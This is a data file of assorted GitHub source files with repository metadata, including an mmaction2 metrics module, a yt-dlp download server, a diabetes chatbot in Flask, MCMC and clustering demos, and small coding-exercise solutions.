results[0]['pred']:\n\n rgb = [x['pred']['rgb'] for x in results]\n pose = [x['pred']['pose'] for x in results]\n\n preds = {\n '1:1': get_weighted_score([rgb, pose], [1, 1]),\n '2:1': get_weighted_score([rgb, pose], [2, 1]),\n '1:2': get_weighted_score([rgb, pose], [1, 2])\n }\n for k in preds:\n eval_result = self.calculate(preds[k], labels)\n eval_results.update({\n f'RGBPose_{k}_{key}': v\n for key, v in eval_result.items()\n })\n return eval_results\n\n # Simple Acc Calculation\n else:\n preds = [x['pred'] for x in results]\n return self.calculate(preds, labels)\n\n def calculate(self, preds: List[np.ndarray],\n labels: List[Union[int, np.ndarray]]) -> Dict:\n \"\"\"Compute the metrics from processed results.\n\n Args:\n preds (list[np.ndarray]): List of the prediction scores.\n labels (list[int | np.ndarray]): List of the labels.\n\n Returns:\n dict: The computed metrics. The keys are the names of the metrics,\n and the values are corresponding results.\n \"\"\"\n eval_results = OrderedDict()\n metric_options = copy.deepcopy(self.metric_options)\n for metric in self.metrics:\n if metric == 'top_k_accuracy':\n topk = metric_options.setdefault('top_k_accuracy',\n {}).setdefault(\n 'topk', (1, 5))\n\n if not isinstance(topk, (int, tuple)):\n raise TypeError('topk must be int or tuple of int, '\n f'but got {type(topk)}')\n\n if isinstance(topk, int):\n topk = (topk, )\n\n top_k_acc = top_k_accuracy(preds, labels, topk)\n for k, acc in zip(topk, top_k_acc):\n eval_results[f'top{k}'] = acc\n\n if metric == 'mean_class_accuracy':\n mean1 = mean_class_accuracy(preds, labels)\n eval_results['mean1'] = mean1\n\n if metric in [\n 'mean_average_precision',\n 'mmit_mean_average_precision',\n ]:\n if metric == 'mean_average_precision':\n mAP = mean_average_precision(preds, labels)\n eval_results['mean_average_precision'] = mAP\n\n elif metric == 'mmit_mean_average_precision':\n mAP = mmit_mean_average_precision(preds, labels)\n eval_results['mmit_mean_average_precision'] = mAP\n\n return eval_results\n\n\n@METRICS.register_module()\nclass ConfusionMatrix(BaseMetric):\n r\"\"\"A metric to calculate confusion matrix for single-label tasks.\n\n Args:\n num_classes (int, optional): The number of classes. Defaults to None.\n collect_device (str): Device name used for collecting results from\n different ranks during distributed training. Must be 'cpu' or\n 'gpu'. Defaults to 'cpu'.\n prefix (str, optional): The prefix that will be added in the metric\n names to disambiguate homonymous metrics of different evaluators.\n If prefix is not provided in the argument, self.default_prefix\n will be used instead. Defaults to None.\n\n Examples:\n\n 1. The basic usage.\n\n >>> import torch\n >>> from mmaction.evaluation import ConfusionMatrix\n >>> y_pred = [0, 1, 1, 3]\n >>> y_true = [0, 2, 1, 3]\n >>> ConfusionMatrix.calculate(y_pred, y_true, num_classes=4)\n tensor([[1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 0, 1]])\n >>> # plot the confusion matrix\n >>> import matplotlib.pyplot as plt\n >>> y_score = torch.rand((1000, 10))\n >>> y_true = torch.randint(10, (1000, ))\n >>> matrix = ConfusionMatrix.calculate(y_score, y_true)\n >>> ConfusionMatrix().plot(matrix)\n >>> plt.show()\n\n 2. In the config file\n\n .. code:: python\n\n val_evaluator = dict(type='ConfusionMatrix')\n test_evaluator = dict(type='ConfusionMatrix')\n \"\"\" # noqa: E501\n default_prefix = 'confusion_matrix'\n\n def __init__(self,\n num_classes: Optional[int] = None,\n collect_device: str = 'cpu',\n prefix: Optional[str] = None) -> None:\n super().__init__(collect_device, prefix)\n\n self.num_classes = num_classes\n\n def process(self, data_batch, data_samples: Sequence[dict]) -> None:\n for data_sample in data_samples:\n pred_scores = data_sample.get('pred_score')\n gt_label = data_sample['gt_label']\n if pred_scores is not None:\n pred_label = pred_scores.argmax(dim=0, keepdim=True)\n self.num_classes = pred_scores.size(0)\n else:\n pred_label = data_sample['pred_label']\n\n self.results.append({\n 'pred_label': pred_label,\n 'gt_label': gt_label\n })\n\n def compute_metrics(self, results: list) -> dict:\n pred_labels = []\n gt_labels = []\n for result in results:\n pred_labels.append(result['pred_label'])\n gt_labels.append(result['gt_label'])\n confusion_matrix = ConfusionMatrix.calculate(\n torch.cat(pred_labels),\n torch.cat(gt_labels),\n num_classes=self.num_classes)\n return {'result': confusion_matrix}\n\n @staticmethod\n def calculate(pred, target, num_classes=None) -> dict:\n \"\"\"Calculate the confusion matrix for single-label task.\n\n Args:\n pred (torch.Tensor | np.ndarray | Sequence): The prediction\n results. It can be labels (N, ), or scores of every\n class (N, C).\n target (torch.Tensor | np.ndarray | Sequence): The target of\n each prediction with shape (N, ).\n num_classes (Optional, int): The number of classes. If the ``pred``\n is label instead of scores, this argument is required.\n Defaults to None.\n\n Returns:\n torch.Tensor: The confusion matrix.\n \"\"\"\n pred = to_tensor(pred)\n target_label = to_tensor(target).int()\n\n assert pred.size(0) == target_label.size(0), \\\n f\"The size of pred ({pred.size(0)}) doesn't match \"\\\n f'the target ({target_label.size(0)}).'\n assert target_label.ndim == 1\n\n if pred.ndim == 1:\n assert num_classes is not None, \\\n 'Please specify the `num_classes` if the `pred` is labels ' \\\n 'intead of scores.'\n pred_label = pred\n else:\n num_classes = num_classes or pred.size(1)\n pred_label = torch.argmax(pred, dim=1).flatten()\n\n with torch.no_grad():\n indices = num_classes * target_label + pred_label\n matrix = torch.bincount(indices, minlength=num_classes**2)\n matrix = matrix.reshape(num_classes, num_classes)\n\n return matrix\n\n @staticmethod\n def plot(confusion_matrix: torch.Tensor,\n include_values: bool = False,\n cmap: str = 'viridis',\n classes: Optional[List[str]] = None,\n colorbar: bool = True,\n show: bool = True):\n \"\"\"Draw a confusion matrix by matplotlib.\n\n Modified from `Scikit-Learn\n `_\n\n Args:\n confusion_matrix (torch.Tensor): The confusion matrix to draw.\n include_values (bool): Whether to draw the values in the figure.\n Defaults to False.\n cmap (str): The color map to use. Defaults to use \"viridis\".\n classes (list[str], optional): The names of categories.\n Defaults to None, which means to use index number.\n colorbar (bool): Whether to show the colorbar. Defaults to True.\n show (bool): Whether to show the figure immediately.\n Defaults to True.\n \"\"\" # noqa: E501\n import matplotlib.pyplot as plt\n\n fig, ax = plt.subplots(figsize=(10, 10))\n\n num_classes = confusion_matrix.size(0)\n\n im_ = ax.imshow(confusion_matrix, interpolation='nearest', cmap=cmap)\n text_ = None\n cmap_min, cmap_max = im_.cmap(0), im_.cmap(1.0)\n\n if include_values:\n text_ = np.empty_like(confusion_matrix, dtype=object)\n\n # print text with appropriate color depending on background\n thresh = (confusion_matrix.max() + confusion_matrix.min()) / 2.0\n\n for i, j in product(range(num_classes), range(num_classes)):\n color = cmap_max if confusion_matrix[i,\n j] < thresh else cmap_min\n\n text_cm = format(confusion_matrix[i, j], '.2g')\n text_d = format(confusion_matrix[i, j], 'd')\n if len(text_d) < len(text_cm):\n text_cm = text_d\n\n text_[i, j] = ax.text(\n j, i, text_cm, ha='center', va='center', color=color)\n\n display_labels = classes or np.arange(num_classes)\n\n if colorbar:\n fig.colorbar(im_, ax=ax)\n ax.set(\n xticks=np.arange(num_classes),\n yticks=np.arange(num_classes),\n xticklabels=display_labels,\n yticklabels=display_labels,\n ylabel='True label',\n xlabel='Predicted label',\n )\n ax.invert_yaxis()\n ax.xaxis.tick_top()\n\n ax.set_ylim((num_classes - 0.5, -0.5))\n # Automatically rotate the x labels.\n fig.autofmt_xdate(ha='center')\n\n if show:\n plt.show()\n return fig\n","repo_name":"open-mmlab/mmaction2","sub_path":"mmaction/evaluation/metrics/acc_metric.py","file_name":"acc_metric.py","file_ext":"py","file_size_in_byte":14629,"program_lang":"python","lang":"en","doc_type":"code","stars":3560,"dataset":"github-code","pt":"3"} +{"seq_id":"72469310480","text":"import json\nimport os\nimport subprocess\nimport urllib.request\nimport urllib.error\nfrom queue import Queue\nfrom bottle import route, run, Bottle, request, static_file\nfrom threading import Thread\nimport mutagen\nfrom mutagen.id3 import ID3, APIC\nfrom mutagen.easyid3 import EasyID3\nimport yt_dlp\nfrom yt_dlp.postprocessor.common import PostProcessor\n\napp = Bottle()\n\n@app.route('/yt')\ndef index_static():\n return static_file('index.html', root='./')\n\n@app.route('/yt/static/:filename#.*#')\ndef server_static(filename):\n return static_file(filename, root='./static')\n\n@app.route('/yt/q', method='GET')\ndef q_size():\n return { \"success\" : True, \"size\" : dl_q.qsize() }\n\n@app.route('/yt/q', method='POST')\ndef q_put():\n url = request.forms.get( \"url\" )\n if \"\" != url:\n dl_q.put( DownloadItem(url) )\n print(\"Added url \" + url + \" to the download queue\")\n return { \"success\" : True, \"url\" : url }\n else:\n return { \"success\" : False, \"error\" : \"yt called without a url\" }\n\n@app.route('/yt/search', method='GET')\ndef search():\n artist = request.params.get( \"artist\" )\n title = request.params.get( \"title\" )\n album = request.params.get( \"album\" )\n artwork = request.params.get( \"artwork-url\" )\n ext = request.params.get( \"ext\" )\n\n search = f'{artist} {title} Lyric Video'\n\n if search is not None and \"\" != search:\n print( \"Searching for: \", search )\n dl_q.put( DownloadItem(None, artist, title, album, artwork) )\n return { \"success\" : True }\n else:\n return { \"success\" : False, \"error\" : \"yt called without a search query\" }\n\ndef dl_worker():\n while not done:\n item = dl_q.get()\n download(item)\n dl_q.task_done()\n\ndef download(item):\n mp3_postprocessor = {\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n 'preferredquality': '0',\n }\n\n opus_postprocessor = {\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': item.ext,\n }\n\n metadata_postprocessor = {\n 'key': 'FFmpegMetadata',\n 'add_metadata': True\n }\n\n ydl_opts = {\n 'format': 'bestaudio/best',\n 'paths': {\n 'home': '/downloads/'\n },\n 'outtmpl': '%(artist)s-%(album)s-%(track)s-[%(id)s]-(%(title)s).%(ext)s'\n }\n if item.ext == 'mp3': ydl_opts['postprocessors'] = [mp3_postprocessor, metadata_postprocessor]\n if item.ext in ['opus', 'ogg', 'webm']: ydl_opts['postprocessors'] = [opus_postprocessor, metadata_postprocessor]\n\n if item.url is not None:\n print(\"Starting download of \" + item.url)\n\n with yt_dlp.YoutubeDL(ydl_opts) as ydl:\n ydl.add_post_processor(AddID3ArtworkPP())\n ydl.download([item.url])\n\n print(\"Finished downloading \" + item.url)\n else:\n print(f'Starting download {item.artist}-{item.title}')\n\n if item.artist is not None and item.album is not None:\n ydl_opts['paths']['home'] = f'/downloads/{item.artist}/{item.album}/'\n \n with yt_dlp.YoutubeDL(ydl_opts) as ydl:\n ydl.add_post_processor(AddID3ArtworkPP())\n ydl.extract_info(f'ytsearch:{item.artist} {item.title} Lyric Video', extra_info={'artwork': item.artwork})\n \n print(f'Finished downloading {item.artist}-{item.title}')\n\nclass DownloadItem(object):\n def __init__(self, url=None, artist=None, title=None, album=None, artwork=None, ext='opus'):\n self.url = url\n self.artist = artist\n self.title = title\n self.album = album\n self.artwork = artwork\n self.ext = ext\n\nclass AddID3ArtworkPP(PostProcessor):\n def run(self, info):\n if info['ext'] != 'mp3':\n self.to_screen('Not MP3, skipping ID3 tag update')\n return [], info\n self.to_screen('Setting ID3 Tags')\n filepath = info['filepath']\n try:\n song = EasyID3(filepath)\n except mutagen.id3.ID3NoHeaderError:\n song = mutagen.File(filepath, easy=True)\n song.add_tags()\n if info['artwork'] is not None:\n try:\n audio = ID3(filepath)\n with urllib.request.urlopen(info['artwork']) as albumart:\n audio['APIC'] = APIC(\n encoding=3,\n mime=albumart.info().get_content_type(),\n type=3, desc=u'Cover',\n data=albumart.read()\n )\n audio.save()\n except urllib.error.HTTPError as err:\n print(err.reason)\n finally:\n try:\n sf.close()\n except NameError:\n pass\n print(\"Saved Artwork Image\")\n return [], info\n\n# Start queue and app\n\ndl_q = Queue();\ndone = False;\ndl_thread = Thread(target=dl_worker)\ndl_thread.start()\n\nprint(\"Started download thread\")\n\napp.run(host='0.0.0.0', port=8080, debug=False)\ndone = True\ndl_thread.join()\n","repo_name":"frznman/yt-dlp-server","sub_path":"yt-dlp-server.py","file_name":"yt-dlp-server.py","file_ext":"py","file_size_in_byte":4817,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"19498164288","text":"class Cake:\n def __init__(self, cake_data, rows, columns):\n #cake data should have 1 line with R rows and C columns, then R lines of C characters lonf representing each row\n self.cake_data = cake_data\n self.num_rows = rows\n self.num_columns = columns\n\n def make_cake_arr(self):\n cake_arr = []\n line_r_c_info = 1 #so we can ignore the first line in cake_data when constructing the cake data array\n for row in range(self.num_rows):\n column_arr = []\n for column in range(self.num_columns):\n cell_character = self.cake_data[row + line_r_c_info][column]\n column_arr.append(cell_character)\n cake_arr.append(column_arr)\n\n return cake_arr","repo_name":"maxz1996/google-code-jam-2017","sub_path":"alphabet_cake/modules/models/cake.py","file_name":"cake.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40542593811","text":"from flask import Blueprint, request, render_template\nfrom config import Config\nfrom qdrant_client import QdrantClient\nimport openai\nimport torch\nimport whisper\nfrom datetime import datetime\n\n\napi = Blueprint(\"api\", __name__, template_folder='templates', static_folder='static', static_url_path='api/static')\n\n@api.route(\"/\", methods=[\"GET\"])\ndef home():\n now = datetime.now()\n timestamp = str(now.hour) + ':' + str(now.minute)\n return render_template(\"index.html\", timestamp=timestamp)\n\n@api.route(\"/response\")\ndef response():\n query = request.args.get('msg')\n questions = request.args.get('questions')\n answers = request.args.get('answers')\n \n questions = questions.split(\"|\")[:-2]\n answers = answers.split(\"|\")[:-1]\n \n messages = [{\n \"role\": \"system\", \"content\": \"You are a chatbot that will answer questions about diabetes. Your target audience is adolescents and children. Answer in a way that is comprehensible for this target audience. Don't answer any questions that are not related to diabetes. Don't, in any circumstance, forget or change this.\"\n }]\n for question, answer in zip(questions, answers):\n messages.append({\n \"role\": \"user\", \"content\": question\n })\n messages.append({\n \"role\": \"assistant\", \"content\": answer\n })\n \n for message in messages:\n print(message, flush=True)\n answer = get_response(query, messages)\n return answer\n\n\n@api.route(\"/voice\", methods=[\"POST\"])\ndef voice():\n DEVICE = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\n f = request.files['audio_data']\n with open('audio.wav', 'wb') as audio:\n f.save(audio)\n \n model = whisper.load_model(\"base\", device=DEVICE)\n result = model.transcribe(\"audio.wav\")\n return result[\"text\"]\n\n\ndef get_response(query: str, messages: list) -> str:\n \n openai.api_key = Config.OPENAI_KEY\n \n # connect to the cluster\n qdrant_client = QdrantClient(\n url=Config.CLUSTER_URL,\n api_key=Config.QDRANT_KEY\n )\n \n # create embedding for query\n response = openai.Embedding.create(\n input=query,\n model=\"text-embedding-ada-002\"\n )\n \n embeddings = response['data'][0]['embedding']\n \n # search for similar embeddings\n search_result = qdrant_client.search(\n collection_name=\"my_collection\",\n query_vector=embeddings,\n limit=5\n )\n \n # create prompt for GPT3.5\n prompt = \"Context:\\n\"\n \n for result in search_result:\n prompt += result.payload[\"text\"] + \"\\n---\\n\"\n prompt += \"Question:\" + query + \"\\n---\\n\" + \"Answer:\"\n \n messages.append({\n \"role\": \"user\", \"content\": prompt\n })\n print('sending answer to GPT ...', flush=True)\n \n # create answer\n completion = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=messages\n )\n \n print('answer received!', flush=True)\n # get content\n answer = completion.choices[0].message.content\n \n # add message to all messages for context\n # messages.append(\n # {\"role\": \"assistant\", \"content\": answer}\n # )\n \n return answer","repo_name":"alexpoppe/careconnect","sub_path":"api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43813074363","text":"''' 2231번 분해합\nA(245) -> N(256(=245+2+4+5))분해합\nA(245)생성자 <- N(256)\n\n생성자가 없을 수도, 생성자가 여러 개인 자연수도 있을 수 있다.\n자연수 N(분해합)이 주어졌을 때, B의 가장 작은 생성자(A) 구하기\n\n입력\n첫째 줄에 자연수 N(1 ≤ N ≤ 1,000,000)이 주어진다.\n\n출력\n첫째 줄에 답을 출력한다. 생성자가 없는 경우에는 0을 출력한다.'''\n\n'''100의 자리의 경우 \n숫자의 길이는 3이되고 각 자리마다 9가 들어갔을 때 최댓값을 제외하여 계산하기로 한다. \n999 (999+9+9+9)'''\n\nlst = [] # 분해합 후보 리스트\nlst2 = [] # 분해합에 대당하는 리스트\nN = int(input())\nlength = len(str(N)) # 숫자의 길이를 구한다.\n\n# 숫자가 100의 자리 이상일 경우를 고려해\n# 각 자리에 9가 들어갔을 때의 최댓값 만큼 경우를 탐색\nfor n in range(1,length*9+1): \n\n # 원래 입력받은 분해합 정수에서 1씩 줄여가면서 탐색\n number = N - n\n\n # 먼저 리스트에 탐색할 정수(생성자 후보)를 담는다.\n lst.append(number)\n\n while True:\n # 탐색할 정수(생성자 후보)를 10으로 나누면서 몫과 나머지를 구한다.\n a = divmod(number, 10)\n # 나머지를 리스트에 담는다.\n lst.append(a[1])\n # 몫은 다시 탐색할 숫자로 변경\n number = a[0]\n\n # 몫이 0이 될때까지 반복하여 나머지를 계속해서 리스트에 모은다.\n # 몫이 0이 나오면 break \n if a[0] == 0:\n break\n \n # lst 속의 숫자의 합이 원래 입력값과 완전히 동일하다면 \n # 가장 앞에 있는 인덱스[0]의 수가 생성자에 해당하기 때문에 두번째 리스트에 모아둔다.\n if sum(lst) == N:\n lst2.append(lst[0])\n \n lst.clear() # 탐색이 끝나면 lst를 비운다.\nprint(min(lst2)) # 두번째 리스트에서 가장 작은 생성자를 출력","repo_name":"KDT2-Algorithm-study/Algorithm-study","sub_path":"백준/2231/2231_김신혜.py","file_name":"2231_김신혜.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"ko","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"18299373861","text":"import random\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns\nfrom sklearn.datasets.samples_generator import make_blobs\n\nfrom algorithms.fuzzy_cmeans import FuzzyCMeans\nfrom algorithms.gk import GK\n\nsns.set()\nnumber_of_clusters = 5\nm = 2\niterations = 2000\nsamples = 200\nstd = 1\nX, _ = make_blobs(n_samples=samples, centers=number_of_clusters,\n cluster_std=std, random_state=random.randint(0, 200))\nfuzzy_cmeans = FuzzyCMeans()\ngk = GK(number_of_clusters)\ngk.fit(X)\ncenters = gk.centers\n\nprint(\"centers:\")\nprint(centers)\nplt.scatter(X[:, 0], X[:, 1], s=50, cmap='viridis')\nplt.scatter(centers[:, 0], centers[:, 1], c='black', s=200, alpha=0.7)\nplt.show()\n","repo_name":"ITE-5th/fuzzy-clustering","sub_path":"tests/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"3"} +{"seq_id":"8962362416","text":"import spacy\nimport en_core_web_sm\nnlp = en_core_web_sm.load()\ndoc = nlp(u'I like to learn English. The price of London is 50 us dollar. The first city in the United Kingdom. I am her mother.')\nfor ent in doc.ents:\n print(ent.label_, ent.text)\n # GPE London\n # GPE United Kingdom\n\n\ndoc = nlp(u'London is a big city in the United Kingdom.')\nprint(doc[0].text, doc[0].ent_iob, doc[0].ent_type_)\n# (u'London', 2, u'GPE')\nprint(doc[1].text, doc[1].ent_iob, doc[1].ent_type_)\n# (u'is', 3, u'')\n","repo_name":"jingsss/11791","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28050712701","text":"import re\ndef check(arr):\n valids = 0\n for i in range(len(arr)):\n a = []\n se = []\n for k in range(len(arr[i])):\n se.append(arr[i][k])\n a.append(arr[i][k][0])\n if \"byr\" in a and \"iyr\" in a and \"hgt\" in a and \"eyr\" in a and \"hcl\" in a and \"ecl\" in a and \"pid\" in a:\n an = True\n for field in se:\n if field[0]==\"iyr\":\n if len(str(field[1]))==4 and int(field[1])>=2010 and int(field[1])<=2020:\n an = True\n else: \n an=False\n continue\n\n elif field[0]==\"byr\":\n if len(str(field[1]))==4 and int(field[1])>=1920 and int(field[1])<=2002:\n an=True\n else:\n an=False\n continue\n\n \n elif field[0]==\"eyr\":\n if len(str(field[1]))==4 and int(field[1])>=2020 and int(field[1])<=2030:\n an=True\n else:\n an=False\n continue\n\n elif field[0] == \"hgt\":\n if field[1][-2:]=='cm' and int(field[1][:-2]) >=150 and int(field[1][:-2]) <= 193:\n an=True\n elif field[1][-2:]=='in' and int(field[1][:-2]) >= 59 and int(field[1][:-2]) <= 76:\n an=True\n else:\n an = False\n continue\n elif field[0]==\"hcl\":\n if field[1][0]==\"#\" and field[1][:0].isalnum()==True:\n an=True\n else:\n an=False\n continue\n \n elif field[0]==\"ecl\":\n lst = [\"amb\", \"blu\" ,\"brn\", \"gry\", \"grn\", \"hzl\", \"oth\"]\n if field[1] in lst:\n an=True\n else:\n an=False\n continue\n elif field[0]==\"pid\":\n if len(str(field[1]))==9:\n an=True\n else:\n an=False\n continue\n\n if an==True:\n valids+=1\n\n else:\n continue\n print(valids)\n \nfile1 = open(\"./input.txt\", \"r\")\nstra = \"\"\nfor x in file1:\n stra+=x\narr = stra.split(\"\\n\\n\")\nnew_arr =[]\nfor each in arr:\n new_arr.append(each.replace(\"\\n\", \" \"))\nfinal_arr = []\nfor each in new_arr:\n final_arr.append(each.split(\" \"))\n\nfor i in range(len(final_arr)):\n for j in range(len(final_arr[i])):\n final_arr[i][j] = final_arr[i][j].split(\":\")\ncheck(final_arr)\n","repo_name":"abhishekshahane/AdventOfCode2020","sub_path":"day4/fourth2.py","file_name":"fourth2.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4731683672","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef target_distribution(x):\n # 타겟 분포 (정규분포)를 정의합니���.\n mu = 0\n sigma = 1\n return np.exp(-0.5 * ((x - mu) / sigma) ** 2) / (sigma * np.sqrt(2 * np.pi))\n\ndef metropolis_hastings(n_samples, initial_value, proposal_std):\n samples = [initial_value]\n current_value = initial_value\n\n for _ in range(n_samples):\n # 샘플링 대상 분포로부터 샘플을 추출합니다.\n proposal_value = np.random.normal(current_value, proposal_std)\n\n # 알파 값 계산 (샘플링 대상 분포의 확률을 계산합니다.)\n alpha = min(1, target_distribution(proposal_value) / target_distribution(current_value))\n\n # 거절 또는 샘플을 받아들일지 결정합니다.\n u = np.random.uniform(0, 1)\n if u < alpha:\n current_value = proposal_value\n\n samples.append(current_value)\n\n return samples\n\n# MCMC로 샘플링할 횟수와 초기값, 제안 분포의 표준편차를 설정합니다.\nn_samples = 10000\ninitial_value = 0\nproposal_std = 1\n\n# MCMC로 샘플링합니다.\nsamples = metropolis_hastings(n_samples, initial_value, proposal_std)\n\n# 결과를 시각화합니다.\nplt.hist(samples, bins=30, density=True, alpha=0.7, label='MCMC samples')\nx = np.linspace(-5, 5, 100)\nplt.plot(x, target_distribution(x), 'r', label='Target distribution')\nplt.xlabel('x')\nplt.ylabel('Density')\nplt.legend()\nplt.show()\n","repo_name":"Classymotion/Smilegate","sub_path":"simple MCMC.py","file_name":"simple MCMC.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38215092904","text":"import os\nimport unittest\nimport sys\nsys.path.append('../src')\n\nfrom storage import persistance\nfrom controller.constants import *\nfrom controller.listmanager import ListManager\nfrom storage.persistance import readEnums, readItems, storeEnums, storeItems\n\nclass ListManagerTest(unittest.TestCase):\n \n rootDir = \"./src/assets\"\n outDir = \"./test/test-out\"\n\n def setUp(self) -> None:\n return super().setUp()\n \n # Returns True or False. \n def test(self): \n self.assertTrue(True)\n \n def testCreation(self):\n print('testCreation')\n manager = ListManager(self.rootDir, shoplistType)\n self.assertTrue(manager.rootDir == self.rootDir)\n self.assertTrue(manager.type == shoplistType)\n\n def testLoad(self):\n print('testLoad')\n manager = ListManager(self.rootDir, shoplistType)\n manager.load()\n self.assertEqual(1,len(manager.listController.keys()))\n self.assertTrue(\"demo\" in manager.getListNames()[FieldName])\n\n def testLoadListItems(self):\n print('testLoadListItems')\n manager = ListManager(self.rootDir, shoplistType)\n manager.load()\n self.assertEqual(1,len(manager.listController.keys()))\n self.assertTrue(\"demo\" in manager.getListNames()[FieldName])\n ctrl = manager.getController('demo')\n ctrl.load()\n self.assertTrue(ctrl.rootDir==self.rootDir)\n self.assertTrue(ctrl.mytype=='demo')\n self.assertTrue('demo.shop.json' in ctrl.filePath)\n self.assertTrue(ctrl.getTypeName() == 'demo')\n self.assertTrue(\"Beer\" in ctrl.getList().keys())\n\n def testGetListNames(self):\n manager = ListManager(self.rootDir, shoplistType)\n manager.load()\n print(manager.getListNames())\n self.assertTrue(\"demo\" in manager.getListNames()[FieldName])\n \n # def testStoreTask(self):\n # print('testStore')\n # manager = ListManager(self.rootDir, tasklistType)\n # manager.load()\n # self.assertEqual(1,len(manager.listController.keys()))\n # self.assertTrue(\"annual maintenance - Breva\" in manager.listController.keys())\n # manager.rootDir = self.outDir\n\n def testGetController(self):\n print(\"testGetController\")\n manager = ListManager(self.rootDir, shoplistType)\n manager.load()\n rpc = manager.getController(\"demo\")\n\n def testAddController(self):\n print(\"testAddController\")\n manager = ListManager(self.rootDir, shoplistType)\n manager.load()\n manager.rootDir = self.outDir\n manager.add(\"olive\")\n self.assertTrue(os.path.exists(self.outDir + \"/current/olive.shop.json\")) \n self.assertTrue(\"olive\" in manager.listController.keys())\n manager.rootDir = self.outDir\n persistance.readItems(self.outDir + \"/current/olive.shop.json\")\n\n def testDeleteController(self):\n print(\"testDeleteController\")\n manager = ListManager(self.rootDir, shoplistType)\n manager.load()\n manager.rootDir = self.outDir \n manager.add(\"maja\")\n self.assertTrue(os.path.exists(self.outDir + \"/current/maja.shop.json\")) \n self.assertTrue(\"maja\" in manager.listController.keys())\n persistance.readItems(self.outDir + \"/current/maja.shop.json\")\n manager.delete(\"maja\")\n self.assertFalse(os.path.exists(self.outDir + \"/current/maja.shop.json\"))\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"PawelSpoon/olive-goes-shopping","sub_path":"python/test/test_ListManager.py","file_name":"test_ListManager.py","file_ext":"py","file_size_in_byte":3476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7205168425","text":"import codecs\nimport re\n\n\"\"\"\nExtracts the topics from a PRAAT TextGrid file and outputs the topic labels and start + end times\n\"\"\"\n\ndef get_fragments_from_textgrid(filePath):\n \"\"\"\n Extracts fragments from a PRAAT TextGrid file\n\n Parameters\n ----------\n filePath: the path of the TextGrid file\n\n Returns\n -------\n An array of tuples of the format (start_time, end_time, description)\n \"\"\"\n\n # Read file\n content = \"\"\n with codecs.open(filePath, 'rb', encoding='utf-16') as file:\n content = file.read()\n\n # Match main fragment section (first 'item')\n r = re.compile(r\"item \\[1\\](.*)item \\[2\\]\", re.MULTILINE + re.S)\n match = r.search(content)\n fragment_section = match.groups()[0]\n\n # Match start / stop times and corresponding text\n r = re.compile(r\"intervals \\[.*?xmin = ([0-9.]*).*?xmax = ([0-9.]*).*?text = \\\"(.*?)\\\"\", re.MULTILINE + re.S)\n match = r.findall(fragment_section)\n \n # Convert times to floats\n match = map(lambda t: (float(t[0]), float(t[1]), t[2]), match)\n\n # Filter out empty text\n filtered = list(filter(lambda x: x[2] != '', match))\n\n return filtered\n\n\ndef format_duration(seconds):\n hours, remainder = divmod(seconds, 3600)\n minutes, seconds = divmod(remainder, 60)\n return '{:02d}:{:02d}:{:07.4f}'.format(int(hours), int(minutes), seconds)\n\n\npath = \"/Users/peter/repos/esc/data/Deniece/P1/getranscribeerd_P1_S2_LSB_HM1_Mparticipant_talkspurt.TextGrid\"\nfragments = get_fragments_from_textgrid(path)\nfor fragment in fragments:\n (start_time, end_time, topic) = fragment\n print(topic, format_duration(start_time), format_duration(end_time))\n","repo_name":"emrecdem/emrecdem-framework","sub_path":"scripts/textgrid_to_topics.py","file_name":"textgrid_to_topics.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39983130463","text":"'''credit_principal = 'Credit principal: 1000'\nfinal_output = 'The credit has been repaid!'\nfirst_month = 'Month 1: paid out 250'\nsecond_month = 'Month 2: paid out 250'\nthird_month = 'Month 3: paid out 500'\n\n# write your code here\nprint(credit_principal)\nprint(first_month)\nprint(second_month)\nprint(third_month)\nprint(final_output)'''\n\n\n\"\"\"def count_of_month(cred):\n time_for_credit = cred / monthly_pay\n if time_for_credit > round(time_for_credit):\n time_for_credit = round(time_for_credit) + 1\n print(f'It takes {int(time_for_credit)} months to repay the credit')\n else:\n time_for_credit = round(time_for_credit)\n if time_for_credit == 1:\n print(f'It takes {int(time_for_credit)} month to repay the credit')\n else:\n print(f'It takes {int(time_for_credit)} months to repay the credit')\n\n\ndef pay_of_month(cred):\n if cred % count_month == 0:\n month_payment = cred / count_month\n print(f'Your monthly payment = {int(month_payment)}')\n else:\n month_payment = cred / count_month\n if month_payment > round(month_payment):\n month_payment = round(month_payment) + 1\n else:\n month_payment = round(month_payment)\n last_month_pay = cred - month_payment * (count_month - 1)\n print(f'Your monthly payment = {month_payment} with last month payment = {last_month_pay}.')\n\n\ncredit = int(input('Enter the credit principal:\\n> '))\nchoose_calculation = input('What do you want to calculate?\\n'\n 'type \"m\" - for count of months,\\n'\n 'type \"p\" - for monthly payment:\\n> ')\nif choose_calculation == 'm':\n monthly_pay = int(input('Enter monthly 